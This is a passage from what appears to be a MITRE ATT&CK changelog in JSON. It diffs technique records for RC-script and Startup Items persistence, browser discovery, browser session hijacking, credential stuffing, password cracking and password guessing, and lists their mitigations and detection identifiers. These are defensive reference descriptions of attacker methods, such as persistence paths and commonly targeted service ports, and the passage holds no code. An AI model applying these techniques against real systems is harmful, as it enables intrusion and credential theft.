Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)\\n \\n-Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004).(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)\\n+Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\\n\\nMonitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\\n-\\n-Monitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. \"}}}", + "previous_version": "2.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may establish persistence by modifying RC scriptt1Adversaries may establish persistence by modifying RC script
>s, which are executed during a Unix-like system\u2019s startup. T>s, which are executed during a Unix-like system\u2019s startup. T
>hese files allow system administrators to map and start cust>hese files allow system administrators to map and start cust
>om services at startup for different run levels. RC scripts >om services at startup for different run levels. RC scripts 
>require root privileges to modify.  Adversaries may establis>require root privileges to modify.  Adversaries may establis
>h persistence by adding a malicious binary path or shell com>h persistence by adding a malicious binary path or shell com
>mands to <code>rc.local</code>, <code>rc.common</code>, and >mands to <code>rc.local</code>, <code>rc.common</code>, and 
>other RC scripts specific to the Unix-like distribution.(Cit>other RC scripts specific to the Unix-like distribution.(Cit
>ation: IranThreats Kittens Dec 2017)(Citation: Intezer Hidde>ation: IranThreats Kittens Dec 2017)(Citation: Intezer Hidde
>nWasp Map 2019) Upon reboot, the system executes the script'>nWasp Map 2019) Upon reboot, the system executes the script'
>s contents as root, resulting in persistence.  Adversary abu>s contents as root, resulting in persistence.  Adversary abu
>se of RC scripts is especially effective for lightweight Uni>se of RC scripts is especially effective for lightweight Uni
>x-like distributions using the root user as default, such as>x-like distributions using the root user as default, such as
> ESXi hypervisors, IoT, or embedded systems.(Citation: intez> ESXi hypervisors, IoT, or embedded systems.(Citation: intez
>er-kaiji-malware) As ESXi servers store most system files in>er-kaiji-malware) As ESXi servers store most system files in
> memory and therefore discard changes on shutdown, leveragin> memory and therefore discard changes on shutdown, leveragin
>g `/etc/rc.local.d/local.sh` is one of the few mechanisms fo>g `/etc/rc.local.d/local.sh` is one of the few mechanisms fo
>r enabling persistence across reboots.(Citation: Juniper Net>r enabling persistence across reboots.(Citation: Juniper Net
>works ESXi Backdoor 2022)  Several Unix-like systems have mo>works ESXi Backdoor 2022)  Several Unix-like systems have mo
>ved to Systemd and deprecated the use of RC scripts. This is>ved to Systemd and deprecated the use of RC scripts. This is
> now a deprecated mechanism in macOS in favor of [Launchd](h> now a deprecated mechanism in macOS in favor of Launchd.(Ci
>ttps://attack.mitre.org/techniques/T1053/004).(Citation: App>tation: Apple Developer Doco Archive Launchd)(Citation: Star
>le Developer Doco Archive Launchd)(Citation: Startup Items) >tup Items) This technique can be used on Mac OS X Panther v1
>This technique can be used on Mac OS X Panther v10.3 and ear>0.3 and earlier versions which still execute the RC scripts.
>lier versions which still execute the RC scripts.(Citation: >(Citation: Methods of Mac Malware Persistence) To maintain b
>Methods of Mac Malware Persistence) To maintain backwards co>ackwards compatibility some systems, such as Ubuntu, will ex
>mpatibility some systems, such as Ubuntu, will execute the R>ecute the RC scripts if they exist with the correct file per
>C scripts if they exist with the correct file permissions.(C>missions.(Citation: Ubuntu Manpage systemd rc)
>itation: Ubuntu Manpage systemd rc) 
", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0237: Detection Strategy for Boot or Logon Initialization Scripts: RC Scripts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-15 18:00:33.603000+00:00", + "modified": "2025-10-24 17:49:19.678000+00:00", + "name": "Startup Items", + "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1037/005", + "external_id": "T1037.005" + }, + { + "source_name": "Startup Items", + "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Creation\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:19.678000+00:00\", \"old_value\": \"2025-04-16 20:37:20.168000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\\n\\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\\n-\\n-Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0429: Detect Modification of macOS Startup Items" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:48:50.561000+00:00", + "name": "Browser Information Discovery", + "description": "Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1217", + "external_id": "T1217" + }, + { + "source_name": "Chrome Roaming Profiles", + "description": "Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023.", + "url": "https://support.google.com/chrome/a/answer/7349337" + }, + { + "source_name": "Kaspersky Autofill", + "description": "Golubev, S. (n.d.). How malware steals autofill data from browsers. Retrieved March 28, 2023.", + "url": "https://www.kaspersky.com/blog/browser-data-theft/27871/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Mike Kemmerer", + "Manikantan Srinivasan, NEC Corporation India", + "Yinon Engelsman, Talon Cyber Security", + "Yonatan Gotlib, Talon Cyber Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.561000+00:00\", \"old_value\": \"2025-04-15 21:54:16.719000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0013: Detection of Local Browser Artifact Access for Reconnaissance" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16 16:13:52.465000+00:00", + "modified": "2025-10-24 17:48:48.383000+00:00", + "name": "Browser Session Hijacking", + "description": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1185", + "external_id": "T1185" + }, + { + "source_name": "Wikipedia Man in the Browser", + "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.", + "url": "https://en.wikipedia.org/wiki/Man-in-the-browser" + }, + { + "source_name": "Cobalt Strike Browser Pivot", + "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.", + "url": "https://www.cobaltstrike.com/help-browser-pivoting" + }, + { + "source_name": "ICEBRG Chrome Extensions", + "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.", + "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" + }, + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Justin Warner, ICEBRG" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Modification\", \"Process: Process Access\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.383000+00:00\", \"old_value\": \"2025-04-25 15:15:33.428000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Access)", + "DS0009: Process (Process Modification)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0507: Detect browser session hijacking via privilege, handle access, and remote thread into browsers" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:39:59.959000+00:00", + "modified": "2025-10-24 17:49:14.923000+00:00", + "name": "Credential Stuffing", + "description": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1110/004", + "external_id": "T1110.004" + }, + { + "source_name": "US-CERT TA18-068A 2018", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Diogo Fernandes", + "Anastasios Pingios" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network Devices", + "Office Suite", + "Identity Provider", + "ESXi" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.923000+00:00\", \"old_value\": \"2025-04-15 19:58:59.077000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\"}}}", + "previous_version": "1.7", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0460: Credential Stuffing Detection via Reused Breached Credentials Across Services" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:38:56.197000+00:00", + "modified": "2025-10-24 17:48:29.397000+00:00", + "name": "Password Cracking", + "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1110/002", + "external_id": "T1110.002" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + }, + { + "source_name": "Wikipedia Password cracking", + "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.", + "url": "https://en.wikipedia.org/wiki/Password_cracking" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Mohamed Kmal" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network Devices", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.397000+00:00\", \"old_value\": \"2025-04-15 19:58:11.912000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0105: Post-Credential Dump Password Cracking Detection via Suspicious File Access and Hash Analysis Tools" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:38:22.617000+00:00", + "modified": "2025-10-24 17:48:21.929000+00:00", + "name": "Password Guessing", + "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1110/001", + "external_id": "T1110.001" + }, + { + "source_name": "Trend Micro Emotet 2020", + "description": "Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.", + "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi" + }, + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + }, + { + "source_name": "US-CERT TA18-068A 2018", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Mohamed Kmal" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network Devices", + "Office Suite", + "Identity Provider", + "ESXi" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.929000+00:00\", \"old_value\": \"2025-04-15 19:58:04.272000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\"}}}", + "previous_version": "1.7", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0551: Password Guessing via Multi-Source Authentication Failure Correlation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--800f9819-7007-4540-a520-40e655876800", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-30 17:54:03.944000+00:00", + "modified": "2025-10-24 17:49:01.646000+00:00", + "name": "Build Image on Host", + 